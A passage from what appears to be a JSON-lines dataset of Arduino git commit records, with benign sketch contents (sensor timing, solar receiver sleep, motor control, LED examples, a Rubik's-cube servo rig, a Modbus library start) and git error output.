11;\n\n\/\/ Calibrated to the individual sensors\nconst unsigned int thresholdPressureEssential = 700;\nconst unsigned int thresholdPressureGeneral = 700;\nconst unsigned int thresholdCapacitive = 200;\n\n\/\/ States\nbool powerOn = true;\nbool powerToggled = false;\n\nstatic unsigned long minuteCounter;\nunsigned long delay_hours;\nunsigned long delay_minutes;\n\n\/\/ Serial connections\nSoftwareSerial serialCarSystem(2, 3); \/\/ Pins 2, 3\n\n\/\/ This method returns whether the given input pin reads greater than\n\/\/ the given threshold.\nbool SensorGreaterThan(const unsigned int pin, const unsigned int threshold) {\n return analogRead(pin) > threshold;\n}\n\n\/\/ This method counts down by a single minute when a minute has passed.\nvoid MinuteSet() {\n if(minuteCounter < millis()) {\n\n if(delay_minutes == 0 && delay_hours > 0) {\n --delay_hours;\n delay_minutes = 59;\n }\n else if(delay_minutes > 0) {\n --delay_minutes;\n }\n\n minuteCounter = millis()+(60*1000);\n }\n}\n\n\/\/ This method sets a new delay time.\nvoid SetDelayTime(const unsigned long hours, const unsigned long minutes) {\n delay_hours = hours;\n delay_minutes = minutes;\n}\n\nvoid setup() {\n Serial.begin(9600);\n serialCarSystem.begin(9600);\n\n \/\/ Pin outputs\n pinMode(pinPressureEssential, INPUT);\n pinMode(pinPressureGeneral, INPUT);\n\n pinMode(pinPressureEssentialPower, OUTPUT);\n pinMode(pinPressureGeneralPower, OUTPUT);\n pinMode(pinCapacitivePower, OUTPUT);\n digitalWrite(pinPressureEssentialPower, HIGH);\n digitalWrite(pinPressureGeneralPower, HIGH);\n digitalWrite(pinCapacitivePower, HIGH);\n\n pinMode(pinPowerLED, OUTPUT);\n pinMode(pinEssentialLED, OUTPUT);\n pinMode(pinGeneralLED, OUTPUT);\n digitalWrite(pinPowerLED, HIGH);\n digitalWrite(pinEssentialLED, LOW);\n digitalWrite(pinGeneralLED, LOW);\n\n minuteCounter = millis()+(60*1000);\n}\n\nvoid loop(){\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/sensor_system.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f4c2e51e1d877ada3a5b2001ff42cb7687154dc7","subject":"Create PC_v099b0311.ino","message":"Create PC_v099b0311.ino","repos":"Lafudoci\/ProbeCube","old_file":"Particle Photon based\/code\/PC_v099b0311.ino","new_file":"Particle Photon based\/code\/PC_v099b0311.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Particle' did not match any file(s) known to git\nerror: pathspec 'Photon' did not match any file(s) known to git\nerror: pathspec 'based\/code\/PC_v099b0311.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d44ecc0b04bf3af96a4107ad992d847bf7038457","subject":"Use atmega328p","message":"Use atmega328p\n","repos":"theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar","old_file":"receiver_analog\/receiver_analog.ino","new_file":"receiver_analog\/receiver_analog.ino","new_contents":"\n\n#include <util\/delay.h>\n#include <avr\/wdt.h>\n#include <avr\/sleep.h> \/\/ Sleep Modes\n#include <avr\/power.h> \/\/ Power management\n#include <VirtualWire.h>\n\n#define PWM_PIN 9 \/\/ TMP until dedicated chip arrives\n\n#define VW_MAX_MESSAGE_LEN 40 \/\/ Same as solar\/sensor\n#define VW_RX_PIN 7 \/\/ PD7 (13)\n#define RF_POWER_PIN 8 \/\/ PB0 (14) Toggle power to RF receiver\n\n#define WD_DO_STUFF 1 \/\/ How many watchdog interupts before doing real work.\n\n\n\n\nbyte pwm_val = 127; \/\/ Temporary half value\nvolatile byte wd_isr = WD_DO_STUFF;\n\nbyte count = 10;\n\nISR(WDT_vect)\n{\n \/\/ Wake up by watchdog\n if (wd_isr == 0) {\n wd_isr = WD_DO_STUFF;\n } else {\n --wd_isr; \n \/\/ Go back to sleep.\n goToSleep();\n }\n}\n\nvoid setup()\n{\n \/\/ disable ADC\n ADCSRA = 0;\n \n \/\/ disable analog comparitor\n ACSR = (1 << ACD) | (0 << ACIE);\n \n watchdog_setup();\n pinMode(RF_POWER_PIN, OUTPUT); \n digitalWrite(RF_POWER_PIN, HIGH); \n \n pinMode(PWM_PIN, OUTPUT); \/\/ TMP until dedicated chip arrives\n analogWrite(PWM_PIN, pwm_val);\n\n Serial.begin(9600);\n Serial.println(\"Setup\");\n\n vw_set_rx_pin(VW_RX_PIN);\n vw_setup(2000);\t \/\/ Bits per sec\n vw_rx_start(); \/\/ Start the receiver running\n}\n\n\nvoid loop()\n{\n --count;\n if (count == 0) {\n count = 10;\n goToSleep(); \n }\n \n \/\/ Reset watchdog so he knows all is well.\n wdt_reset();\n \n uint8_t buf[VW_MAX_MESSAGE_LEN];\n uint8_t buflen = VW_MAX_MESSAGE_LEN;\n \n \n if (vw_get_message(buf, &buflen)) { \/\/ Non-blocking\n int i;\n int val = 0;\n byte comma = 0;\n for (i = 0; i < buflen; i++) {\n \n \n \n if (buf[i] == 44) { \n \/\/ CSV - S,88,20.17,21.91,871,5595,5436\n \/\/ comma 5 = solar panel reading\n \/\/ comma 6 = battery reading\n \n if (comma == 5) {\n pwm_val = map(val, 0, 10000, 0, 255);\n analogWrite(PWM_PIN, pwm_val);\n \n \/\/ Print the solar reading\n \/\/Serial.print(\" pwm(\"); \n \/\/Serial.print(pwm_val, DEC); \n \/\/Serial.print(\")\"); \n }\n \n ++comma;\n val = 0;\n }\n \n \n Serial.write(char(buf[i]));\n \n \n if (comma == 5 || comma == 6) {\n byte c = buf[i];\n \/\/ Only interested in numbers.\n \/\/ ASCII hex values 0x30 to 0x30 are decimal 0 to 9\n if (c > 0x2F && c < 0x3A) {\n if (val > 0) {\n \/\/ Expecting decimal numbers like 24,\n \/\/ so for each new argument multiply by ten.\n val *= 10;\n val += c - 0x30;\n } else {\n val = c - 0x30;\n }\n \/\/Serial.print(val, DEC); \n }\n }\n \n \n }\n \n \n \/\/ Print the battery reading\n \/\/Serial.print(\" Bat(\"); \n \/\/Serial.print(val, DEC); \n \/\/Serial.print(\")\");\n \n \n Serial.println(); \n \n }\n\n \n _delay_ms(500); \/\/ VERY TEMP\n}\n\n\n\/**\n * Watchdog for while awake to ensure things are ticking over.\n *\/\nvoid watchdog_setup()\n{\n \/\/ Clear any previous watchdog interupt\n MCUSR = 0;\n\n \/\/ WD interrupt after 8 seconds, \n \/\/ unless wdt_reset(); has been successfully called\n \n \/* In order to change WDE or the prescaler, we need to\n * set WDCE (This will allow updates for 4 clock cycles).\n *\/\n WDTCSR |= (1<<WDCE) | (1<<WDE);\n\n \/* set new watchdog timeout prescaler value *\/\n WDTCSR = 1<<WDP0 | 1<<WDP3; \/\/ 8.0 seconds \n \n \/* Enable the WD interrupt (note no reset). *\/\n WDTCSR |= _BV(WDIE);\n \n wdt_reset();\n}\n\nvoid goToSleep()\n{\n\n \/\/ Turn off the RF receiver\n digitalWrite(RF_POWER_PIN, LOW);\n \n \n cli();\n \n \/\/ ensure ADC is off\n ADCSRA = 0;\n \n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n power_all_disable();\n \n \/\/ Power-down unused stuff - keep timer1 running for the pwm\n \/\/ off - timer0, USI, ADC\n \/\/PRR = (0 << PRTIM1) | (1 << PRTIM0) | (1 << PRUSI) | (1 << PRADC); \n \n sleep_enable();\n sei();\n \n \/\/ turn off brown-out enable in software\n MCUCR = bit (BODS) | bit (BODSE); \/\/ turn on brown-out enable select\n MCUCR = bit (BODS); \/\/ this must be done within 4 clock cycles of above\n sleep_cpu(); \/\/ sleep within 3 clock cycles of above\n \n sleep_disable(); \n MCUSR = 0; \/\/ clear the reset register \n \n power_all_enable(); \n \n \/\/ Turn timer0 back on\n \/\/PRR = (0 << PRTIM1) | (0 << PRTIM0) | (1 << PRUSI) | (1 << PRADC);\n\n \/\/ turn on the RF receiver\n digitalWrite(RF_POWER_PIN, HIGH);\n \n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'receiver_analog\/receiver_analog.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"41105eb3e799b2cc65f084c8625ab7ca43fe975a","subject":"Add a file to control sabertooth board","message":"Add a file to control sabertooth board\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"HBridgePWM\/Sabertooth\/Sabertooth.ino","new_file":"HBridgePWM\/Sabertooth\/Sabertooth.ino","new_contents":"\/\/ Software Serial Sample\n\/\/ Copyright (c) 2012 Dimension Engineering LLC\n\/\/ See license.txt for license details.\n\n#include <SoftwareSerial.h>\n#include <SabertoothSimplified.h>\n\nSoftwareSerial SWSerial(NOT_A_PIN, 11); \/\/ RX on no pin (unused), TX on pin 11 (to S1).\nSabertoothSimplified ST(SWSerial); \/\/ Use SWSerial as the serial port.\n\nvoid setup()\n{\n SWSerial.begin(9600);\n}\n\nvoid loop()\n{\n int power;\n \n \/\/ Ramp from -127 to 127 (full reverse to full forward), waiting 20 ms (1\/50th of a second) per value.\n for (power = -127; power <= 127; power ++)\n {\n ST.motor(1, power);\n delay(20);\n }\n \n \/\/ Now go back the way we came.\n for (power = 127; power >= -127; power --)\n {\n ST.motor(1, power);\n delay(20);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HBridgePWM\/Sabertooth\/Sabertooth.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c52b2c20575a234275a3cc21fff01af4656338bd","subject":"Create ledblink.ino","message":"Create ledblink.ino","repos":"JarvisDP\/ArduinoGarbage","old_file":"sFDW\/examples\/ledblink\/ledblink.ino","new_file":"sFDW\/examples\/ledblink\/ledblink.ino","new_contents":"\/*\n Blink sketch for sFDW library\n Turns on an 4 LEDs on for one second in sequence, \n then off all at once, then on all at once, after on all at once,\n and turn off all 4 LEDs separately. \n And all this actions repeatedly.\n Functions of this library:\n\t- sPin(pin \u2116, pin HIGH\/LOW status <1\/0> )\n\t- mPinsStateHigh(pins numbers for HIGH state switch, as array - separate by \",\")\n\t- mPinsStateLow(pins numbers for LOW state switch, as array - separate by \",\")\n Created by Dmitry Pogudo-Georgov, December 3, 2014.\n This example code is in the public domain.\n *\/\n \n\/\/ Pins 6,7,8,9 has an LEDs connected on most Arduino boards.\n#include <sFDW.h>\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n sFDW.sPin(6,1); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n sFDW.sPin(7,1);\n delay(1000);\n sFDW.sPin(8,1);\n delay(1000);\n sFDW.sPin(9,1);\n delay(1000);\n \n sFDW.mPinsStateLow(6,7,8,9); \/\/ turn the LED off by making the voltage LOW in all ours pins\n delay(1000); \/\/ wait for a second\n \n sFDW.mPinsStateHigh(6,7,8,9); \/\/ turn the LED on by making the voltage HIGH in all ours pins\n delay(1000); \/\/ wait for a second\n \n sFDW.sPin(6,0); \/\/ turn the LED off (LOW is the voltage level)\n delay(1000); \/\/ wait for a second\n sFDW.sPin(7,0);\n delay(1000);\n sFDW.sPin(8,0);\n delay(1000);\n sFDW.sPin(9,0);\n delay(1000);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sFDW\/examples\/ledblink\/ledblink.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"072736a0d58d2d1b9d58918ba0b780c5c33650d1","subject":"Let's get this small-commits thing right! Now we're sending our actual expected payload.","message":"Let's get this small-commits thing right! Now we're sending our actual expected payload.\n","repos":"hooroo\/moteino_build_lights","old_file":"arduino\/transmitter.ino","new_file":"arduino\/transmitter.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hooroo\/moteino_build_lights.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b30fbedaa320529e9898825644ff7b2516dd82ae","subject":"Added a simple example that sets accelerometer based on LED","message":"Added a simple example that sets accelerometer based on LED\n","repos":"PunchThrough\/PunchThrough-BEAN-Arduino-Firmware,PunchThrough\/PunchThrough-BEAN-Arduino-Firmware,PunchThrough\/PunchThrough-BEAN-Arduino-Firmware","old_file":"examples\/LightBlueBean\/01.Basics\/SettingLEDFromAccelerometer\/SettingLEDFromAccelerometer.ino","new_file":"examples\/LightBlueBean\/01.Basics\/SettingLEDFromAccelerometer\/SettingLEDFromAccelerometer.ino","new_contents":"\/*\n Led from Acceleromter.\n \n Read the accelerometer every half second. \n Set the LED to something based on what we read. \n *\/\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 57600 bits per second:\n Serial.begin(57600);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n LED_SETTING_T setting = {0, 0, 0};\n ACC_READING_T accel = {0, 0, 0};\n \n if(Serial.accelRead(&accel) != 0){\n \/\/Serial.print(\"Error reading\\n\"); \n }\n else {\n \/\/ 0 -> 2400 \/ 10 == range of 0 -> 240. Pretty good for our LED\n setting.red = (accel.xAxis + 1200) \/ 10;\n setting.green = (accel.yAxis + 1200) \/ 10;\n setting.blue = (accel.zAxis + 1200) \/ 10;\n Serial.ledSet(setting); \n }\n \n delay(500);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LightBlueBean\/01.Basics\/SettingLEDFromAccelerometer\/SettingLEDFromAccelerometer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"b1389b7966fca9dcbdbf07b5de1128d81bea8412","subject":"chaos","message":"chaos\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndStopTest2\/EndStopTest2.ino","new_file":"EndStopTest2\/EndStopTest2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"6320ed1c8dcb7b7e22031600ae52055a09d9379a","subject":"Update btSerial.ino","message":"Update btSerial.ino","repos":"michalmonday\/supremeDuck,michalmonday\/supremeDuck","old_file":"source\/bluetooth customization\/btSerial.ino","new_file":"source\/bluetooth customization\/btSerial.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'source\/bluetooth' did not match any file(s) known to git\nerror: pathspec 'customization\/btSerial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6e3720a2fb45713ff5caf534e7f9fede575c6fc1","subject":"okay","message":"okay\n\nthe poscomp was also not buffered\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC4361.ino","new_file":"ArduinoClient\/TMC4361.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"a01c5aa1a7f5268b29c20c2053c9a60a887d70b9","subject":"update","message":"update\n","repos":"elosine\/sampler","old_file":"digitalbuttons_capsens_promicro3\/digitalbuttons_capsens_promicro3.ino","new_file":"digitalbuttons_capsens_promicro3\/digitalbuttons_capsens_promicro3.ino","new_contents":" #include <CapacitiveSensor.h>\n\n\/\/Buttons\nint numbts = 10;\nint bts[] = {2, 3, 4, 5, 6, 7, 8, 9, 10, 16};\nboolean bgates[10];\n\/\/Capacitive Sensors\nint numcps = 2;\n\/\/CapacitiveSensor cps[] = {CapacitiveSensor(21, 14), CapacitiveSensor(21, 15), CapacitiveSensor(21, 18), CapacitiveSensor(21, 19), CapacitiveSensor(21, 20)};\nCapacitiveSensor cps[] = {CapacitiveSensor(21, 14), CapacitiveSensor(21, 15)};\n\/\/CapacitiveSensor cps[] = {CapacitiveSensor(21, 14)};\nboolean cpsgates[2];\nlong cpsval[2];\nvoid setup() {\n Serial.begin(9600);\n for (int i = 0; i < numbts; i++) pinMode(bts[i], INPUT_PULLUP);\n for (int i = 0; i < numbts; i++) bgates[i] = false;\n for (int i = 0; i < numcps; i++) cpsgates[i] = true;\n}\n\nvoid loop() {\n \/\/buttons\n for (int i = 0; i < numbts; i++) {\n if (!bgates[i]) {\n if (digitalRead(bts[i]) == LOW) {\n bgates[i] = true;\n Serial.print(\"bt\" + String(i) + \":\");\n Serial.println(1, DEC);\n }\n }\n if (bgates[i]) {\n if (digitalRead(bts[i]) == HIGH) {\n bgates[i] = false;\n Serial.print(\"bt\" + String(i) + \":\");\n Serial.println(0, DEC);\n }\n }\n }\n \/\/Capacitive Sensors\n \/\/long val = cps[0].capacitiveSensor(30);\n \/\/ Serial.println(val);\n for (int i = 0; i < numcps; i++) {\n cpsval[i] = cps[i].capacitiveSensor(30);\n if (cpsval[i] >= 4000) {\n if (cpsgates[i]) {\n cpsgates[i] = false;\n Serial.print(\"cs\" + String(i) + \":\");\n Serial.println(1, DEC);\n }\n }\n else if (cpsval[i] < 3000) {\n if (!cpsgates[i]) {\n cpsgates[i] = true;\n Serial.print(\"cs\" + String(i) + \":\");\n Serial.println(0, DEC);\n }\n }\n }\n\n delay(15);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'digitalbuttons_capsens_promicro3\/digitalbuttons_capsens_promicro3.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0f5c6e2ea1089c9cbff30caee6113a5fea27a5b4","subject":"strip initialization","message":"strip initialization\n","repos":"Michael1516\/dorm-leds,MikaylaFischler\/dorm-leds,Michael1516\/dorm-leds,MikaylaFischler\/dorm-leds","old_file":"init.ino","new_file":"init.ino","new_contents":"\/* Initialization Code for the Dorm LED System *\/\n\nvoid set_pin_modes() {\n pinMode(STRIP_PIN_W1, OUTPUT);\n pinMode(STRIP_PIN_W2, OUTPUT);\n pinMode(STRIP_PIN_W3, OUTPUT);\n pinMode(STRIP_PIN_D1, OUTPUT);\n pinMode(STRIP_PIN_D2, OUTPUT);\n}\n\nvoid init_strips() {\n \/\/ Window Strips\n window1.begin();\n window1.show();\n \n window2.begin();\n window2.show();\n \n window3.begin();\n window3.show();\n\n \/\/ Desk Strips\n desk1.begin();\n desk1.show();\n \n desk2.begin();\n desk2.show();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'init.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4fc40b263b3f6d3cef250a0b8a1135f48eb83996","subject":"Added RQ_SET_VALUE and RQ_SET_MODE commands.","message":"Added RQ_SET_VALUE and RQ_SET_MODE commands.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6d8cf5ed2713b380e6690a9a3c419c8c8daf18c6","subject":"add arduino file","message":"add arduino file\n","repos":"xeecos\/RubikSolver-nwjs,xeecos\/RubikSolver-nwjs","old_file":"Arduino\/Arduino.ino","new_file":"Arduino\/Arduino.ino","new_contents":"#include <Servo.h>\n\nuint8_t _servoPins[8] = {A8,A10,A12,A14,A9,A11,A13,A15};\n\nServo servos[8] = {Servo(),Servo(),Servo(),Servo(),Servo(),Servo(),Servo(),Servo()};\nString received = \"\";\nint releaseAngle = 62;\nint holdAngle = 105;\nint actionTime = 250;\nint motionTime = 200;\nvoid setup() {\n Serial.begin(115200);\n Serial2.begin(115200);\n delay(100);\n enableServos();\n}\nvoid disableServos(){\n for(uint8_t i=0;i<8;i++){\n servos[i].detach();\n }\n}\nvoid enableServos(){\n for(uint8_t i=0;i<8;i++){\n servos[i].attach(_servoPins[i]);\n servos[i].write(i<4?90:releaseAngle);\n delay(motionTime-100);\n }\n delay(motionTime);\n servos[0].write(90);\n delay(motionTime);\n servos[1].write(90);\n delay(motionTime);\n servos[2].write(90);\n delay(motionTime);\n servos[3].write(90);\n delay(motionTime);\n}\nvoid flipX(int dir){\n releaseY();\n delay(motionTime);\n servos[1].write(0);\n servos[3].write(180);\n delay(motionTime+200);\n holdX();\n delay(motionTime);\n if(dir==1){\n servos[0].write(0);\n servos[2].write(180);\n }else{\n servos[0].write(180);\n servos[2].write(0);\n }\n delay(motionTime+200);\n holdY();\n delay(motionTime);\n releaseX();\n delay(motionTime);\n servos[0].write(90);\n servos[2].write(90);\n delay(motionTime+200);\n holdX();\n delay(motionTime);\n releaseY();\n delay(motionTime);\n servos[1].write(90);\n servos[3].write(90);\n delay(motionTime+200);\n holdY();\n delay(motionTime);\n}\nvoid holdX(){\n servos[4].write(holdAngle-4);\n servos[6].write(holdAngle+4);\n}\nvoid releaseX(){\n servos[4].write(releaseAngle);\n servos[6].write(releaseAngle);\n}\n\nvoid flipY(int dir){\n releaseX();\n delay(motionTime);\n holdY();\n delay(motionTime);\n if(dir==1){\n servos[1].write(0);\n servos[3].write(180);\n }else{\n servos[1].write(180);\n servos[3].write(0);\n }\n delay(motionTime+200);\n holdX();\n delay(motionTime);\n releaseY();\n delay(motionTime);\n servos[1].write(90);\n servos[3].write(90);\n delay(motionTime+200);\n holdY();\n delay(motionTime);\n}\nvoid holdY(){\n servos[5].write(holdAngle-4);\n servos[7].write(holdAngle+4);\n}\nvoid releaseY(){\n servos[5].write(releaseAngle);\n servos[7].write(releaseAngle);\n}\nvoid rotateX(int dir,int face){\n int count = dir>0?dir:-dir;\n holdX();\n delay(motionTime);\n releaseY();\n delay(motionTime);\n servos[1].write(0);\n servos[3].write(180);\n delay(motionTime+100);\n for(int i=0;i<count;i++){\n holdY();\n delay(motionTime);\n servos[face==1?0:2].write(dir>0?180:0);\n delay(motionTime+300);\n servos[face==1?4:6].write(releaseAngle);\n delay(motionTime+100);\n servos[face==1?0:2].write(90);\n delay(motionTime+100);\n holdX();\n delay(motionTime);\n }\n servos[face==1?0:2].write(dir>0?102:76);\n delay(motionTime);\n servos[face==1?0:2].write(90);\n delay(motionTime);\n releaseY();\n delay(motionTime);\n servos[1].write(90);\n servos[3].write(90);\n delay(motionTime);\n holdY();\n delay(motionTime);\n}\nvoid rotateY(int dir,int face){\n int count = dir>0?dir:-dir;\n holdX();\n holdY();\n delay(motionTime);\n for(int i=0;i<count;i++){\n servos[face==1?1:3].write(dir>0?180:0);\n delay(motionTime+300);\n servos[face==1?5:7].write(releaseAngle);\n delay(motionTime+100);\n servos[face==1?1:3].write(90);\n delay(motionTime+300);\n holdY();\n delay(motionTime);\n }\n servos[face==1?1:3].write(dir>0?102:75);\n delay(motionTime);\n servos[face==1?1:3].write(90);\n delay(motionTime);\n}\nvoid loop() {\n if(Serial.available()){\n char c = Serial.read();\n if(c=='\\n'){\n parseCommand();\n received=\"\";\n }else{\n received+=c;\n }\n }\n}\nvoid parseCommand() {\n received.toLowerCase();\n char m_cmd = received.substring(0, 1).charAt(0);\n int s_cmd = received.substring(1,2).toInt();\n int v_cmd = received.substring(4).toInt();\n \n if(m_cmd=='m'){\n if(s_cmd==1){\n int count = v_cmd>0?v_cmd:-v_cmd;\n for(int i=0;i<count;i++){\n flipX(v_cmd>0?1:-1);\n }\n }else if(s_cmd==2){\n int count = v_cmd>0?v_cmd:-v_cmd;\n for(int i=0;i<count;i++){\n flipY(v_cmd>0?1:-1);\n }\n }else if(s_cmd==3){\n v_cmd==1?holdX():holdY();\n }else if(s_cmd==4){\n v_cmd==1?releaseX():releaseY();\n }else if(s_cmd==5){\n rotateX(v_cmd,1);\n }else if(s_cmd==6){\n rotateX(v_cmd,-1);\n }else if(s_cmd==7){\n rotateY(v_cmd,1);\n }else if(s_cmd==8){\n rotateY(v_cmd,-1);\n }\n }\n Serial.println(\"ok\");\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3472715f8c258bdba83cbf77bfc03c447ab38fdb","subject":"getting the signing right \u2026 not","message":"getting the signing right \u2026 not\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ShadowTest\/ShadowTest.ino","new_file":"ShadowTest\/ShadowTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"6bccae96ca472951da9e3026b5608e9a11a44795","subject":"hmm, restoring the register descriptions \u2026","message":"hmm, restoring the register descriptions \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ShadowTest\/ShadowTest.ino","new_file":"ShadowTest\/ShadowTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"d8a93cf894ce3f28154ab0ed94c629591b644606","subject":"Create Modbus.ino","message":"Create Modbus.ino","repos":"sonyccd\/Modbus-Master-Slave-for-Arduino,samuelba\/Modbus-Master-Slave-for-Arduino,smarmengol\/Modbus-Master-Slave-for-Arduino,karakum\/Modbus-Master-Slave-for-Arduino","old_file":"Modbus.ino","new_file":"Modbus.ino","new_contents":"\/**\n * @file\n * Arduino library for communicating with Modbus devices over RS232\/485 (via RTU protocol).\n * \n * @defgroup setup Modbus Object Instantiation\/Initialization\n * @defgroup loop Modbus Object Management\n * @defgroup buffer Modbus Buffer Management\n * @defgroup discrete Modbus Function Codes for Discrete Coils\/Inputs\n * @defgroup register Modbus Function Codes for Holding\/Input Registers\n *\/\n\n#define MAX_BUFFER 64\n\n\/* _____PROJECT INCLUDES_____________________________________________________ *\/\n\/\/ functions to calculate Modbus Application Data Unit CRC\n\/\/#include <util\/crc16.h>\n\n\/* _____GLOBAL VARIABLES_____________________________________________________ *\/\nHardwareSerial port = Serial; \/\/\/< Pointer to Serial class object\n\ntypedef struct {\n uint8_t u8id;\n uint8_t u8fct;\n uint16_t u16RegAdd;\n uint16_t u16CoilsNo; \n uint16_t *au16reg;\n} \nmodbus_t;\n\nenum { \n RESPONSE_SIZE = 6, \n EXCEPTION_SIZE = 3, \n CHECKSUM_SIZE = 2\n};\n\nenum MESSAGE {\n ID = 0,\n FUNC,\n ADD_HI,\n ADD_LO,\n NB_HI,\n NB_LO,\n BYTE_CNT };\n\nenum MB_FC {\n MB_FC_NONE = 0,\n MB_FC_READ_COILS = 1,\n MB_FC_READ_DISCRETE_INPUT = 2,\n MB_FC_READ_REGISTERS = 3,\n MB_FC_READ_INPUT_REGISTER = 4,\n MB_FC_WRITE_COIL = 5,\n MB_FC_WRITE_REGISTER = 6,\n MB_FC_WRITE_MULTIPLE_COILS = 15,\n MB_FC_WRITE_MULTIPLE_REGISTERS = 16\n};\n\nenum COM_STATES {\n COM_IDLE = 0,\n COM_WAITING = 1\n\n};\n\nenum ERR_LIST {\n ERR_NOT_MASTER = -1,\n ERR_POLLING = -2,\n ERR_BUFF_OVERFLOW = -3,\n ERR_BAD_CRC = -4,\n ERR_EXCEPTION = -5\n};\n\n\/* exceptions code *\/\nenum { \n NO_REPLY = 255, \n EXC_FUNC_CODE = 1, \n EXC_ADDR_RANGE = 2, \n EXC_REGS_QUANT = 3, \n EXC_EXECUTE = 4\n};\n\n\/* supported functions. If you implement a new one, put its function code into this array! *\/\nconst unsigned char fctsupported[] = { \n MB_FC_READ_COILS,\n MB_FC_READ_DISCRETE_INPUT,\n MB_FC_READ_REGISTERS, \n MB_FC_READ_INPUT_REGISTER,\n MB_FC_WRITE_COIL,\n MB_FC_WRITE_REGISTER, \n MB_FC_WRITE_MULTIPLE_COILS,\n MB_FC_WRITE_MULTIPLE_REGISTERS\n};\n\n#define T35 5\n\n\/* _____CLASS DEFINITIONS____________________________________________________ *\/\n\/**\n * Arduino class library for communicating with Modbus devices over\n * RS232\/485 (via RTU protocol).\n *\/\nclass Modbus {\nprivate:\n uint8_t u8id; \/\/ 0=master, 1..247=slave number\n uint8_t u8serno; 